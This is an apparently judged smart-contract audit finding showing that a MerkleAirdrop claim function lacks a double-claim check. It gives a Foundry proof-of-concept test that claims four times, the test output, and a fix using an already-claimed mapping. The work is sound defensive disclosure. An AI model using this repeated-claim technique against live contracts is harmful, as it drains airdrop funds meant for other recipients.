Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing check on `MerkleAirdrop::claim` function so user can claim multiple times

Summary

On claim function, there are no check whether eligible user already claimed or not, so this is can be abused by single eligible address to claim multiple times and drained the USDC balance on the contract.

Vulnerability Details

The claim function only check sufficient FEE and Merkle Proof:

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

this is not sufficient because eligible user can claim multiple times.

PoC

add the following code to MerkleAirdropTest.t.sol:

function testUserCanClaimMultipleTimes() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, 4 * airdrop.getFee());
// we claim using collectorOne four times
for (uint256 i = 0; i < 4; ++i) {
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
}
uint256 endingBalance = token.balanceOf(collectorOne);
// assert collectorOne token balance equal to 4 times the amount of claimable
assertEq(endingBalance - startingBalance, 4 * amountToCollect);
}

then run the following command forge test --zksync --mt testUserCanClaimMultipleTimes

the result of test should be PASS:

Ran 1 test for test/MerkleAirdropTest.t.sol:MerkleAirdropTest
[PASS] testUserCanClaimMultipleTimes() (gas: 62071)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 53.61s (12.26s CPU time)

Impact

Eligible user can claim multiple times, this is problematic because the intended way is every user can only claim 25 USDC each.

Tools Used

manual review and foundry

Recommendations

implement mapping where it track if user already claimed.

code

add the following line to MerkleAirdrop.sol.

MerkleAirdrop.sol:

contract MerkleAirdrop is Ownable {
.
.
.
error MerkleAirdrop__InvalidFeeAmount();
error MerkleAirdrop__InvalidProof();
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__AlreadyClaimed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(address => bool) public alreadyClaimed;
event Claimed(address account, uint256 amount);
event MerkleRootUpdated(bytes32 newMerkleRoot);
/*//////////////////////////////////////////////////////////////
FUNCTIONS
//////////////////////////////////////////////////////////////*/
constructor(bytes32 merkleRoot, IERC20 airdropToken) Ownable(msg.sender) {
i_merkleRoot = merkleRoot;
i_airdropToken = airdropToken;
}
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ if (alreadyClaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ alreadyClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

after that run the test using forge test --zksync --mt testUserCanClaimMultipleTimes
the result should FAIL:

Failing tests:
Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest
[FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testUserCanClaimMultipleTimes() (gas: 41718)
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.